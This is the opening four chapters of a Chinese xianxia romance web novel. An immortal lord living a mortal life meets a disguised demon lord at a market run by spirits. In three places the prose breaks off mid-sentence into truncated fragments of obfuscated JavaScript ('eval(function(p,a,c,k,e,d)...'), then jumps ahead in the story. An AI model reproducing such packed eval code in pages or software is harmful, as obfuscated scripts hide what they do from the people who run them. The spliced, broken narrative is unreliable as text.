《仙尊渡劫失败后》 1. 第 1 章 仙尊渡劫失败后 文/山河不倦 重鸾鸣仰,彩云入怀,上界九十九座仙宫被祥瑞之气围簇,日月辉映,仙音悠长。 居于正中的巍峨大殿内,文武仙官分列两行,上仙界的官员都被召集过来,共同商议即将到来的仙魔会谈。 自仙界战神闻逍与魔尊蔺月盏成亲之后,仙魔两界开启了和平时代,双方商定每百年进行会谈,共同维护上界的安定。 今年已经是第十三届仙魔会谈了,还有不足三个月的时间。 “无妄海近来动静频频,听说魔尊之位又易主了,今年的仙魔会谈恐生事端。” “魔族好战,自前魔尊与仙君归隐后,魔族再未出过他那般强大的尊主,那张王座上隔百八十年就会换个人坐坐,不是什么大事。” “据可靠消息传来,这次的魔尊打上魔宫仅仅用了不到三日。” 魔族尚武好战,平素里挑战之风盛行,但自蔺月盏之后再没出现过强大到能与仙界抗衡的人,频繁易主又容易引起外界议论,久而久之,魔族内部就心照不宣的达成了共识。 要登上尊主之位必须使众人信服,只有连胜魔族大将才有资格进入魔宫,与魔尊一战。 用三日单挑魔族大将,又将魔尊斩于马下,其实力不可小觑。 在蔺月盏归隐的一千多年里,从未有人做到过。 “如此这般,镇南将军还觉得不是大事吗?莫不是要等到那新魔尊在会谈上掀了我们仙界的场子,才算大事?” “谁要掀我仙界的场子?” 清朗的声音飘进大殿,未见其人,那话音中的笑意先到,殿内紧绷的气氛一扫而空。 一阵月白色的风卷进殿中,来人长身玉立,轻飘飘落在银甲加身的镇南将军身旁。 武仙官都是白衣银甲的打扮,独他一人广袖长衫,月白色泛着淡淡的青韵,飘逸出尘,风流儒雅。 “临时有事耽搁了一会儿,我来迟了。”闻折月抬手作揖,一本正经地冲天帝行了个礼,“还望天帝见谅。” 他嘴上说的真诚,神色却淡淡的,眉眼间还残留着笑意,看不出半点不好意思。 命轨星君暗自翻了个白眼,小声骂道:“假正经。” 别看这闻折月表面上八风不动,一副出尘的仙君样子,骨子里蔫坏! 他那俩活爹一个白切黑,一个从里到外都是黑,闻折月飞升到上界后虽是由天帝教导,但仍磨不去混血种天生的乖张顽劣。 说什么有事耽搁,八成是故意的。 命轨星君身旁是刚刚从下界升上来的小仙童,看得眼睛都直了:“星君星君,这是哪位仙尊,我怎么从未见过?” 闻折月鲜少参加仙界的集会,这一点和他那俩还没勾搭到一起就常常约架的爹不同,他大门不出二门不迈,整日闷在折月仙境。 “折月仙尊,仙界最年轻的仙尊。” 闻折月的大名鲜少人知,命轨星君也是因为和闻逍熟一些,才知道他图省事直接给儿子取名为闻折月了,所以叫折月仙尊也算是误打误撞叫对了。 神龙见首不见尾,说起来,闻折月的妖身正是白龙。 “他啊,父母双全孤儿龙,有爹好似没爹。”命轨星君嚼完舌根还不忘嘱咐小仙童,“别看他长得好看,脾气可不好,忒记仇,你记得离他远一点。” 闻折月耳尖微动,状似随意地朝对面瞥了一眼。 文官多是女仙和文雅秀气的男仙,因他这轻飘飘的一眼爆发出轻微的呼声。 自闻逍携蔺月盏出游后,仙界和魔界同时失去了最强战力,但仙界幸运,留住了闻逍和蔺月盏的孩子。作为仙魔混血的子嗣,闻折月年纪轻轻就从下界飞升,修为深不可测,不输于他父亲——曾经的仙界战神闻逍。 仙界倾心他的仙官众多,长得好看又能打,谁不喜欢? 因为父辈的爱情,对闻折月示好的男仙也不在少数,但千百岁了,也不见他和谁走得近过。 命轨星君又翻了个白眼,仙界都是没脑子的家伙,从前看不清闻逍是个混球,现在看不清闻折月是个黑心肝。 众人皆醉,唯我独醒啊! 命轨星君捶胸顿足,在心里呐喊。 天帝抬了下手,众仙官噤声:“魔界换了新的尊主,此人实力不俗,折月,你怎么看?” 新魔尊吗? 魔族千百年来换的魔尊没十个也有八个了,每个都撑不到一百年,上界一天下界一年,平均不到一百天就得换人。 闻折月百无聊赖地把玩着夜明珠,风轻云淡的语气让恭维话都变得真诚了:“有镇南将军在,魔族定然不敢侵扰我仙界。” 镇南将军曾是闻逍的副将,闻言大受鼓舞,腰杆子都挺起来了:“末将誓死守护仙界,绝不让魔族扰乱仙宫!” 结束议事后,仙官们各自散去,天帝留下了闻折月和命轨星君。 闻折月扫了眼恨不得离他十万八千里的命轨星君,似笑非笑:“星君避我不得,可还在记我爹爹的仇?” 命轨星君被闻逍坑了好多次,损了不少道行,自闻折月飞升上界后,他对这一家子越发敬而远之。 闻言,皮笑肉不笑道:“仙尊说笑了。” “说笑?我一个孤儿龙可不会开玩笑。”闻折月随手一弹,手里那颗把玩得油润光滑的夜明珠冲着命轨星君脑门飞去,“从前多有得罪,我替爹爹赔个礼,星君可莫要再记仇了。” 命轨星君欲哭无泪,谁家好人像你这样赔礼道歉?! 他千算万算没算到,当着天帝的面,这黑心肝就敢冲他下手,果然和闻逍是一个模子里刻出来的。 混球! 命轨星君躲了几下都没躲过,夜明珠正中眉心,在他脑门上砸出一个大包。 闻折月故作惊讶,笑眯眯道:“诶呀,我忘了这珠子受仙界灵气浸润,生出了神智,它生来喜水,最最讨厌带着土味的东西。” 命轨星君:“……” 命轨星君掌下界命簿,生于滚滚红尘,与监管人间的天道是同期飞升。 凡人死后长眠大地,命轨星君的力量来自于芸芸众生,其他仙官受香火供奉,他则是从大地中汲取人死后产生的力量。 “都是成仙的人了,别耍小孩脾气了。”天帝接住夜明珠,救下了抱头鼠窜的命轨星君,“新任魔尊来历不明,在入主魔宫之前没传出半点消息,因为他的出现,魔族士气鼓舞,频频在无妄海上闹出动静。” “天帝怕他威胁到仙界?”闻折月笑意温和,“除了镇南将军,还有镇东镇西镇北三位将军,以及若干仙兵仙将,这新魔尊要是有本事把他们都杀了,那您老也苟延残喘不了多久。” 天帝:“……” 闻折月老神在在:“都是成仙的人了,生死有命,别太杞人忧天了。” 天帝被他气得脑瓜子疼,反手将夜明珠掷了出去:“别忘了你也是仙界一员!” 这小白龙哪儿都好,就是脾性随了闻逍,歹竹出歹笋。 闻折月接住夜明珠,毫不在意:“我身上也有一半魔族血脉。” 真要论起来,无论魔族往下传几代,他爹都是老祖宗,那新魔尊也得给他几分薄面。 大不了打起来他就搬个家,反正他小时候也经常跟着爹爹们去魔族住,仙界魔域对他而言没太大区别。 魔域风景别致,特别是无妄海,海水中散发着独特的冷香,沾衣经久不散。 在无妄海深处有一方禁地,寻常魔族无法踏足,他常常在里面玩耍,明明是寸草不生的地界,却能长出娇艳的花。 那是他见过的最美的花。 命轨星君看热闹不嫌事大,见天帝也被闻折月气得说不出话,心里稍微平衡了些:“天帝留下我二人,想必已经有了对策。” 天帝颔首:“无论那新任魔尊如何,仙魔会谈近在眼前,魔族不可不防,折月,你下凡历练吧。” 闻折月一个激动,直接把夜明珠捏碎了:“您老终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你懂什么,这是磨炼。” 是那孤儿龙应得的! 命轨星君合上命书,他呕心沥血绞尽脑汁编出来的悲惨人生,已经迫不及待想要看闻折月去经历了:“取灯来。” 命书写好之后用轮回灯点燃,所写的命运会一点点成为现实,不可更改。 小仙童咕哝了声,烛火之间,“折月”二字一闪而过,转眼就成了灰烬。 折月? 小仙童倒吸一口凉气,嘶,这命书的主人该不会是折月仙尊吧? 想到命书上的内容,他不禁为命轨星君捏了把冷汗,仙尊记仇,一句话都要报复,等他渡劫归来后,怕是会找星君好好算这笔账。 深夜里燃起的火星格外明亮,夜风淌过云端的九十九座仙宫,吹着星星点点的灰烬落入无妄海中,深海无垠,狂澜生于暗处。 无妄海外三百里处是仙界与魔界的分界线,再往里便是魔族的地盘,位于魔域中心,即无妄海最深处的魔宫是魔族至高无上的王座,唯有最强者才能登上。 墨夙离微微掀起眼帘,带着倦懒的鼻音:“别吵。” 他不久和前任魔尊打了一架,整整三天三夜没合眼,补了几天的觉,现下被吵醒,还迷迷糊糊的,不像是单枪匹马杀入魔宫的新尊主,更像是个贪睡的公子哥儿。 墨夙离自打败上任魔尊后就闭门不出,魔族大将求见他屡屡碰壁,侍卫斟酌了一下,抬高声音:“启禀尊主,将军们已经在殿外等了您很久,按照魔宫的规矩,您应该先见见——” 话还没说完,跪在地上的魔族侍卫瞪大眼睛,不敢置信地看向扬起的重重纱帘。 平静的美人面一闪而过,如云似雾,好似隔在远山之外,唯有一抹金色纯粹清晰,框在他右侧眼窝中,倒映出冰冷锐利的杀意。 鲜血喷涌,侍卫捂着脖子倒在地上,没能发出半点声音。 “都说了别吵。”墨夙离小声咕哝,他的右眼是金色的,纯粹空灵,透着不谙世事的天真。 血腥气逐渐散开,他阖上眸子,拉高被子蒙住脑袋,气味隔绝的刹那,生死也被分隔开。 魔宫里静谧无声,仿佛什么都没发生过,只有睡梦酣然。 由此刻开始,无妄海上的风平浪静一直持续了十八天。 2. 第 2 章 下界,闻折月渡劫的第十八年。 凡间三月,殿试将近,正是春风好时节。 随着百花开遍漫山遍野,一首不知从何处传出来的打油诗也在城中流行起来,街头巷尾到处都能听到。 “仙山之上有妖市,妖市之中藏绝色,绝色美人多情衷,情衷一人不相离……闻兄,听说那妖市就在城外的望月山上,你我何不一同去凑凑热闹?” “不去。” 闻折月翻过一页书,头也没抬:“马上就是殿试的日子了,俞兄有这功夫,不如多看几页书。” “我是没指望了,能走到这一步已经是烧了高香,不过以闻兄的才学定能在殿试拔得头筹,届时春风得意马蹄疾。”俞成林耍着折扇,冲他挤眉弄眼,“若是闻兄担心殿试,我们可以等考完再去,若能在发榜前抱得美人归,那便是双喜临门。” “坊间异闻当不得真,仙山妖市,那所谓的绝色美人莫不是山精野怪所化?” 子不语怪力乱神,闻折月向来不信这种没由来的传言,他收起书,揉了揉后颈:“我要去趟书局,俞兄可要同行?” “不去不去,你整日往书局跑,知道大家在背后叫你什么吗?书呆子!” 春风楼里住的都是远道而来的举子,俞成林和他是在路上遇到的,一路结伴来到京城,俞成林性情豪爽,很快就和春风楼里的众多举子打成一片。 闻折月没兴趣参与他们的活动,几次拒绝俞成林的邀约,也知道不少人背地里看不惯他。 书呆子吗? 闻折月不置可否,独自去了书局。 京城的书局内藏书众多,除了朝廷的禁书,应有尽有。一进门,闻折月直奔里间:“老先生,新书可到了?” 书局的掌柜姓老,单名一个“龟”字,名字怪人也怪。 “都说了叫名字就成,整天先生先生的多生疏。”掌柜装作不悦,但没坚持几秒就绷不住笑了,扔给他一本书,“马上就到殿试的日子了,你见天惦记着这个,不怕名落孙山?” 闻折月没睬他,径自捧着书看起来,认真的表情好像在研读经史,实际上那书的封面上大咧咧的写着《人蛇恋之纯情蛇崽情迷危险男人》,注:第七回。 一本充满想象力的人兽爱情小说。 连载中。 闻折月是偶然间看到这本书的,他向来不喜风月,不知怎么回事,这本破廉耻的书对他有着莫名的吸引力,他像入了迷似的每天都要抽时间来书局看后续。 用一个不太恰当的形容来总结,就是他和这本书一见如故。 “好看吗?” 闻折月不想承认他为这种不正经的书着迷,装作没听到:“人和蛇真的能在一起吗?” “能,怎么不能。”掌柜慈眉善目地望着他,嘿嘿乐了两声,“不仅能在一起,还能生崽呢,生的是龙崽,又白又漂亮。” 生的就是你,天上地下独一无二顶顶漂亮的小白龙。 遥想当年,闻折月还没飞升上界,是蔺鹤一和他们这些妖怪一手带大,那时的小白龙可是天下第一宗的宝贝疙瘩……掌柜抹了抹眼角,都已经一千多年没见了,多亏他是龟精,千年王八万年龟,要不然都等不到再相见的这一天。 天杀的上界,卑鄙的天帝,一定是想抢走他们的宝贝龙! 闻折月没注意到掌柜越来越慈祥的眼神,第七回还没写到生崽,他正在消化被剧透的离谱剧情,人和蛇生了一条……龙? 掌柜的描述很有画面感,闻折月仿佛看到了一条活灵活现的小白龙,他理解不了,他大受震撼:“龙?是蛇生的吗?” 在一些传说中,蛇是龙的前身,其修炼五百年后可变身为蛟,再修炼千年可化龙,四舍五入也算沾亲带故。 “当然是人生的。” “……可那不是个男人吗?” 封面上的“危险男人”有如四道响雷,将闻折月的世界观轰成了渣渣。 “男人怎么了,男人就不能生孩子吗?”掌柜语重心长地教育道,“你这是歧视,这样不好,人妖平等,男女平等,如此才能创造美好人间。” 可恶啊! 就知道上界那种尊卑森严的地方会带坏他们乖巧听话的宝贝龙!! “不,我不是歧视,我只是没听说过男人能生孩子,这太奇怪了。”闻折月抹了把脸,男人能生孩子比人和蛇产生了爱情,比他们的后代是龙更离谱。 掌柜振振有词:“你觉得奇怪,是你的见识太短浅,思想太过保守,说不定你以后也能遇到一个给你生孩子的男人。” 闻折月:“……” 掌柜:“或者遇到一个让你想给他生孩子的男人。” 闻折月:“……” 闻折月额角抽了抽:“为什么我只能遇到男人?” 他是个男人,他可以娶一个女子,正常的生下孩子,绵延子嗣。 掌柜:“不是只能遇到男人,只是我觉得你喜欢男人的可能性大一点。” 毕竟你就是男人生的,喜欢男人是你的家族传统。 闻折月:“呵呵。” 你眼瞎了。 读书人要克己守礼,闻折月按捺住骂人的冲动,挤出一个自认为礼貌但实际上非常扭曲的笑:“书看完了,我先走了。” “诶,着什么急,我这里还有新的。”掌柜连忙拦住他,一连拿出好几本书,“除了八九十回,我这里还有《人蛇虐恋之霸道蛇妖恋上柔弱男人》,很刺激的哦,要不要看看?” 闻折月:“……” 这名字比他看的那本还不正经。 “我对这种书毫无兴趣。”闻折月一脸正色,表面八方不动一本正经,手却诚实地伸了出来,“你别误会,我只是好奇有多刺激……不,有多荒唐。” 掌柜眼里闪过笑意,长大后变得口是心非了,还是小时候可爱,看完书后会叉着腰宣布他的两位爹爹天下第一好。 闻折月看书,掌柜就在旁边看他,时不时和他聊两句:“你对这书中描绘的绝美爱情有没有什么想法?” “想法啊……”闻折月一边翻,一边点评,“我觉得这书写的太假了,不合逻辑,最令人无法忍受的是描写过于露骨,少儿不宜。” 通篇都在床笫之间,简直无法直视。 他啧了声:“观其行文,写书之人浸淫风月,满脑子都是情情爱爱,八成很不正经。” “……胡说!逻辑怎么不对了,这就是真事!”掌柜气鼓鼓,龟壳快气炸了,“写书之人具有滔天才情,风月之中可见风骨,旷世之奇才也!” 男人能生崽,那母猪岂不是会上树? 闻折月没把他的话当真,调侃道:“旷世奇才?写书之人给你钱了?” “没给我钱。”掌柜语气幽幽,“这书就是我写的。” 羞耻感涌上心头,手里的书成了烫手山芋,闻折月干笑:“怪不得,你一看就很不正经……不,我是说很正经。” 对于妖来说,不正经算不上贬义,掌柜哼了声:“我不是让你评价书写得怎么样,我是问你有没有心动,想不想体验一下如此绝美的爱情?” “不想。”闻折月敬谢不敏。 恋爱嘛,可以看别人谈,可以看人兽谈,就是不能自己谈。 “别急着拒绝,你都还没试过,怎么知道自己不想。”掌柜不知从哪里变出一个巴掌大的小绣球,金线重绣,精美绝伦,“你可听说过妖市,七日后就是妖市开市的日子,这是我特地为你寻得的信物,将它交给你心悦之人,你们就能长长久久。” 又是妖市,短短时间内已经有两个人要他去寻美人了,他看起来有那么孤寡吗? 闻折月皱了皱眉头,还没来得及拒绝,掌柜就强行将绣球塞进他手里:“你一定要去妖市,挑一个绝色美人,千万别辜负了我的一片心意。” - 上界,无妄海。 睡饱了的魔尊大人伸了个懒腰,很好说话地跟着一众魔族来到无妄海上。 此处距离仙魔两族的分界线很近,远远能看到驻守的仙兵仙将,白衣银甲,整齐划一。自从换了新魔尊后,天帝就派人加强了守卫,严阵以待,以防魔族突然发难。 仙魔两族积怨千万年,此前握手言和是因为闻逍和蔺月盏,他们离开后,这份和平也仅限于表面。大多数魔族都抱着蛰伏的心态,待得时机成熟,就要撕破这表明上的和平,将仙族彻底踩在脚下。 “尊主,无妄海自古便是我族地盘,仙界欺压魔界日久,频频在无妄海挑衅,丝毫未将您放在眼里。” 墨夙离不置可否,他当上魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仙界之中,折月仙境里的那位芝兰玉树,是公认的俊美无俦,但眼前这位新魔尊还要更出众些,秾艳至极,尤其是那双异色的眸子,神秘而独特,仿佛能看透人心深处的恐惧。 白羽只怔了一瞬,下一秒就被掐住脖子掼到了无妄海上,风浪狂涌,耳边充斥着魔族的欢呼声:“尊主英武!所向披靡,战无不胜!” 掐在脖子上的手不紧,但准确的遏制住了命脉,白羽眼里闪过惊惧:“魔尊想撕毁仙魔协定吗?!” “不想。”墨夙离随口回道,上下打量着他,突然松开手,“你把衣服脱了。” 白羽:“???” 不仅白羽,就连魔族们都傻眼了,怎么回事,尊主该不会看上这个仙族了吧? 他迟迟没有动手,墨夙离不耐地皱了下眉头,朝身边的魔族命令道:“把他的衣服脱下来,小心点,别弄坏了。” 魔宫里的尸体历历在目,没人敢违抗他的命令,几个侍卫按住白羽,小心翼翼,动作轻柔,生怕弄坏这个令魔尊大人感兴趣的仙族人。 从羽织到里衣,衣服一件件离身,白羽涨红了脸,羞愤欲死:“无耻魔头,直接杀了我就是,何必如此羞辱……我,我是不会向你屈服的!” 长得好看又如何,不过是个下流的魔族,可惜了这张脸。 在侍卫准备脱白羽裤子的时候,墨夙离叫停了:“把衣服给我。” 羽织触手柔软,墨夙离眯了眯眼睛,随手把里衣塞进白羽嘴里,这人话太多,吵得他头疼。 羽织上残留着主人的气息,墨夙离使了个清洁法术,清洁过的羽织干干净净,崭新如初,带着无妄海海水独有的冷香。 他一把扯下罩纱,换上抢来的战利品。红衣白袍,好似雪地里开出了一枝梅花,使得墨夙离少了几分邪气,多了几分出尘的雅致。 不愧是他一眼就看中的衣服,墨夙离挥挥袖子,整整领子,心满意足地勾起唇角。 无妄海上突生变故,镇南将军第一时间赶了过来,气势汹汹地质问:“仙魔两族会谈在即,魔尊无故抓走仙界中人,是为何意?” 墨夙离一脸真诚:“没什么意思,就是闲来无事。” 镇南将军:“……” “好了,人还给你们。”墨夙离拎起白羽就扔了过去,随后不管剑拔弩张的气氛,心情很好地离开了。 他像是顽劣的孩童,丝毫不计后果,只留下一群魔族和仙兵仙将们大眼瞪小眼。双方面面相觑,所有人都没想到墨夙离会这么爽快的把人还回去,更没想到他会一走了之。 随着墨夙离的离开,无妄海上的风浪逐渐平息。 沉默良久,魔族中传出一道恍然大悟的声音:“所以尊主大人刚刚说别弄坏的是……衣服吗?” 3. 第 3 章 转眼间就过了七天。 昨日考完殿试,举子们都放松了,撒开欢饮酒作诗,直到深夜春风楼里依旧灯火通明,闻折月被吵得头疼,破天荒地睡了个懒觉。 刚起床,俞成林就来敲门了:“闻兄闻兄,你睡醒了吗?” 酒气扑面而来,闻折月不着痕迹地侧身,躲开他的手:“你这是喝了多少酒?” “没多少。”俞成林掰着手指回想,想不起来,索性笑嘻嘻道,“终于考完了,大家约着一起多喝了几杯,本打算叫上你的,可惜昨晚敲你的门不开,只能作罢。” 闻折月向来不喜欢和太多人凑在一起,能避则避:“昨天太累,休息得早。” “那闻兄应当休息得不错,和我们一起去踏青吧。”俞成林热情高涨,边说边比划,“望月山上风光好,边游览边吟诗作对,好不快活。” 殿试阅卷快,隔一日就会批完发榜, 闻折月对踏青没兴趣,他很佩服俞成林,昨晚喝得昏天黑地,今天还能爬起来去踏青,放榜前的时间安排得满满当当,体力之充沛令人叹服。 见他想要拒绝,俞成林忙道:“就算不喜春色,去妖市见识一番也是极好的。” 妖市……算一算日子,今夜恰好是掌柜说的开市时间。 闻折月抱着胳膊:“那不过是传言罢了。” 话虽如此,但他的手下意识摸到了腰间,小绣球跟香囊似的,挂在腰上并不突兀。 从书局回来后,他不止一次想过要把这玩意儿扔掉,但往往上一秒刚离手,下一秒绣球就会莫名其妙回来。最离谱的一次他把绣球扔进了河里,隔天睡醒,一睁开眼枕边就多了个东西,要不是绣球湿淋淋的带着水,闻折月都要怀疑自己发了癔症。 难不成信物是真的,妖市也是真的? “左右无事,去见识一下呗,就算是假的也不亏,当踏青了,若是真的……”俞成林冲他挤眉弄眼,“闻兄当真不想抱得美人归吗?” 闻折月兴致缺缺:“不想,不过去瞧瞧也无妨。” 世人评判的标准不一,美是不被定义的,他有些好奇何等人物堪称绝色。再者,这邪门的绣球他真不想留了,书局关了门,掌柜不知所踪,只能从妖市这边想办法了。 望月山景色秀丽,尤其是三月,春风一吹山间就开满了花,粉白相间,桃李芬芳,素有人间仙境之称。 此山并不险峻,但山后连着陡崖,峰峦如聚,直上天堑,云雾缭绕之间不辨去路,恍若仙境。 曾有人想在山上修庙礼佛,但每每动工总会引得雷鸣电闪,渐渐的就有传言说这山上有玄机,是仙人之地,凡俗之人不可久留。 山上的人很多,闻折月粗略地扫了一眼,都快赶上城中灯会了。 最近春色正浓,来踏青赏花的人不在少数,但更多人醉翁之意不在酒,是冲着妖市来的,深山藏绝色,没有比这更好的噱头。 众生芸芸,俗人占九成九。 “闻兄,想什么呢?”俞成林凑过来,他没想到真能说动闻折月,以往十次相邀,闻折月能来一次就不错了,“到你了。” “什么?” 俞成林瞥了眼其他人,小声解释:“我们在玩飞花令,轮到你了。” 闻折月性情孤冷,来京城的第一天就拒绝了举子们的集会,还把私下里泄露考题的官员给举报了,因为这件事,大家对他的印象不再停留在脸上,明里暗里示好,结果都被一张冷脸挡了回来,再之后评价闻折月就少不了一个字——狂。 这人性情冷傲,疯狂不羁,但也瞧不上旁人。 一来二去,大多数人都被劝退了,整个春风楼里唯独俞成林耐得住闻折月的冷淡,鞍前马后殷勤得过分。 见俞成林又是那副做小伏低的样子,其他人纷纷嘲讽:“成林你就别拿热脸贴人家冷屁股了,某些人自恃清高,不稀罕同我们一道。” “就是,瞧这架子大得呦,也不怕压死你!” “这榜还没发呢,看某人这傲气的样子我还以为状元郎已经公布了。” 文人说话酸,阴阳怪气起来更是一把好手,俞成林偷眼瞧了瞧闻折月,见他冷冷淡淡,连表情都没变,心里说不出是什么滋味:“去去去,别瞎说,闻兄才不是那种人,” “我看你们就是嫉妒我与闻兄交好,差不多得了。” “闻兄自小孤身一人,不擅与人相处,我能与他成为朋友也下了很大功夫,并非他瞧不起你们,是你们误会他了……闻兄人很好,还曾救过我的命,我绝不会抛下他的。” 对诗变成了俞成林舌战群儒,这种事不是第一次发生了,每次俞成林都很维护他,恨不得将他们是朋友的事宣告天下。 闻折月暗叹一声,刚想让俞成林别再说了,身旁就飘来一道香风,淡淡的,不同于花香,这味道十分清冷,让人想起开在雪地的梅花,雅致清新。 闻起来有种莫名的熟悉感。 闻折月追着气味转过头,只看到一片洁白的衣角,如同羽毛一般轻柔,从眼前掠过。 看背影像是个女子,高挑纤细,许是察觉到了他的视线,那人微微侧过半边身,珠帘面纱遮住了大半张脸,只露出一只眼睛,是独特的金色,高贵而神秘。 闻折月被这一眼定在原地。 对方目光锐利,从他脸上重重刮过,停留几秒后就收回了,转身没入人海。 留下的冷香悠然散去,闻折月深吸一口气,感觉五脏六腑都被涤荡了一遍,凉丝丝的。 “……闻兄,闻兄,你看什么呢,眼睛都直了?” 闻折月摇摇头,摩挲着腰间的绣球,金丝线绣出来的纹路能拼成一个字,是喜结良缘的“缘”,绣线好似千丝万缕的缘分,勾勒出一段美满姻缘。 他忽然来了兴致:“飞花令的题目是什么?” “啊?哦哦,题目啊,是【春】。”俞成林一边介绍,一边不动声色地打量身旁的人,闻折月主动参与对诗比他答应来踏青更令人难以置信。 “春,春……云想衣裳花想容,春风拂槛露华浓。” 人海之中已然寻不到片羽,闻折月琢磨着剩下的两句,头一回觉得诗文不虚,也是头一回认识到自己是个货真价实的俗人。 芸芸众生,他在九成九里。 过了晌午,陆陆续续有人下山,留下的大多是男人,诸如俞成林等人,已经毫不避讳地谈论起妖市了:“听说妖市在日落时出现,除了绝色美人,市面上还有数不尽的奇珍异宝。” 闻折月听了一耳朵:“这谣言都是从哪儿传出来的?” “这可不是谣言。”俞成林煞有其事道,“以往这望月山上不留凡人,自打妖市的说法流传开来后,再没发生过晴天霹雳的怪事,据说这妖市就是山上的仙人开的。” “仙人?开妖市?”闻折月轻哂,妖市妖市,一听就和山野精怪脱不了干系。 路过的男人年长他们许多,闻言哈哈大笑:“仙人可不会开妖市,妖邪才喜欢耍这种把戏,山精野魅食人心,吞/精气,毛都没长齐的少年郎还是赶紧下山吧,小心别死在这山上。” 他一身劲装,肩上还背着把剑,像是个游历江湖的浪客。 有举子不服气,顶了一句:“那你就不怕死吗?” “听说过天下第一宗吗?我可是宗门里的大师兄,道行高深,别提伤我,妖邪都近不了我的身。”他拍了拍肩上的剑,粗粝的目光在一群读书人面上划过,最后定格在闻折月身上,半真半假地哄骗道,“但你们就说不准了,尤其是像你这样的玉面书生,最招狐狸精。” 闻折月面若冠玉,身量颀长,不似寻常读书人一样瘦弱,和俞成林等人站在一起对比尤为明显,仿若鹤立鸡群。 “那不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“去,怎么不去!”俞成林一咬牙,“来都来了,妖市可不是谁都能遇到的。” 万丈深渊之上,千军万马过独木桥,在这一刻,对财富与美人的渴望战胜了恐惧。 墨夙离轻嗤一声,人总是为身外之物所困,这是与生俱来的劣根性。 石阶已经完全看不见了,云雾缭绕间,有人不甚踩空,有人惊恐尖叫,有人慌乱狂奔,也有人撑着伞,不紧不慢地往前走。 墨夙离挽起了长发,珠帘遮面,白衣飘飘,好似从天而降的仙子。 任魔族和仙族想破脑袋也想不到,在无妄海上搅弄起腥风血雨的新魔尊会摇身一变成美娇娘,偷偷摸摸跑到下界。 伞檐微微往上抬,灯火诡谲的热闹集市映入眼帘,墨夙离眉梢轻挑,所谓妖市,原来是妖族布下的迷幻阵吗? 人间果然繁华,就连迷幻阵都充满新意,妖族设迷幻阵引诱凡人通常是为了谋害性命,但这妖市中并未藏有杀机,就连石阶也做了手脚,踩空掉下悬崖的人没死,都被好好送下了山。 墨夙离收起探查的术法,环视四周,目光穿过人群,锁定在一身月白色长衫的男人身上。 他找了一圈,多番对比,还是最初勾得他多看几眼的人合他心意。 有劣根才好拿捏,就怕人心如面,无欲无求。 墨夙离勾了勾唇角,眼底闪过志在必得的光芒。 他修炼的功法特殊,马上就要迎来第一次情期了。 魔族观念开放,在性/事上并不拘谨,但墨夙离禁欲多年,看不上魔族的作风,他既不想随便找个人春风一度,也不喜欢强取豪夺那一套。 话本上说了,这种事你情我愿才得趣,灵肉合一最快乐。 与其搅和仙魔两族的事情,不如亲自挑选一个床伴。 情期修为会暂时封住,上界人多眼杂,他刚刚成为魔尊,处于风口浪尖之上,万一走露了风声,难保不会有人趁他病要他命。 魔尊大人思前想后,决定在下界度过情期。 他对床伴的要求不多,只有两点:要合他眼缘,还要心甘情愿伺候他。 现在只差让那人心甘情愿了。 4. 第 4 章 浮动的灯盏悬停在半空中,摇曳的湛蓝色妖火从山巅亮到山下,以往被云雾遮蔽的仙山露出真面目,不是传闻中的仙人宫殿,而是一座依山而建的诡谲妖城。 银铃轻摇,响声一圈圈荡开,闻折月按住随着声音挣动的绣球,面色稍沉。 方才的登山之路变故频出,数不清多少人从石阶上掉了下去,他被人流裹挟着向前,在混乱之中和俞成林等人失散了,等回过神来,已经到了妖市中心。 至于为什么他知道这里是妖市中心……闻折月眼角抽了抽,妖火跃动,半空中的灯盏拉起一道横幅,上面写着一行字:热烈欢迎闻折月来到妖市中心! 想不知道都难。 “听说你现在叫闻折月,这名字真不错,比狗蛋好听多了。” “折月,你今年多大了?” “折月,你都长这么高了!” “折月,要不要尝尝我们刚刚研发出来的新菜色?” “折月,进我的店里坐会儿,我找到一颗好大的夜明珠。” “折月……” 耳边充斥着不同声音,叽叽喳喳十分喧闹,不知有多少人在喊“折月”,语气熟稔,闻折月恍惚了一瞬,他是孤儿,自记事起就没见过父母,好不容易才长大,也曾羡慕过其他小孩,每逢饭点就有人喊他们回家吃饭。 四周看不见人影,这一道道亲昵的呼唤来自于跃动的妖火,却令闻折月倍感亲切。 岁月已经磨砺出了坚不可摧的心性,但根植于内心的渴望依旧如同附骨之疽,明知道这不过是山野精怪迷惑人心的手段,但闻折月还是一头扎了进去。 他跟着妖火进入店铺,获得了一颗拳头大小的夜明珠,桌上摆着十几盘菜,卖相欠佳,但用料扎实,很有家里的味道。 墨夙离在不远处撑着伞,饶有兴致地扬起眉梢。 在闻折月看来,他是一个人坐在桌前吃饭,但在墨夙离眼中,不仅那张桌子上坐满了人,整个店铺里都挤满了人,他们围在闻折月身旁,眼神殷切,透着一股说不清道不明的……慈爱意味。 慈爱? 墨夙离不明白自己为什么会联想到这个词,他只听说过妖怪害人,从没听说过妖怪会将凡人当成是自己的孩子,亲切,关心,毫无恶意,恨不得把所有好吃的好玩的都给他。 难道妖族也看眼缘,对长得好看的人格外宽容? 墨夙离敛了敛眸子,走到店门口:“打扰了,我一路走来只看到这一处有吃的,可以让我蹭个饭吗?” 他站在屋檐下,伞向后倾斜,遮住了寥落的月光,妖火落在他身侧,光芒被面纱上的珍珠反射,使他的脸浸泡在半明半昧的光晕中,别具风情。 “可以,当然可以。”闻折月噌的一下站起身,碗筷叮当作响,“你,你……稍等,我去给你拿副碗筷。” 是她。 闻折月快速跑到放碗筷的地方,心脏因为熟悉的冷香加快了跳动,他深吸一口气,正准备出去忽然愣住,茫然地低下头。 他怎么会知道碗筷放在这里? 明明是陌生的店铺,但店里的陈设和摆放的一切都散发着熟悉感,那种感觉就像是他在不知情的情况下来过这里很多次。 墨夙离迟迟没有落座,伞已经收起了,他站在空荡荡的椅子旁,低声道:“打扰了。” 妖火猛地一跳,好像被吓到了一般,呼啦一下都聚集到了对面。 墨夙离勾了勾唇角:“怕什么,我又不会吃了你们。” 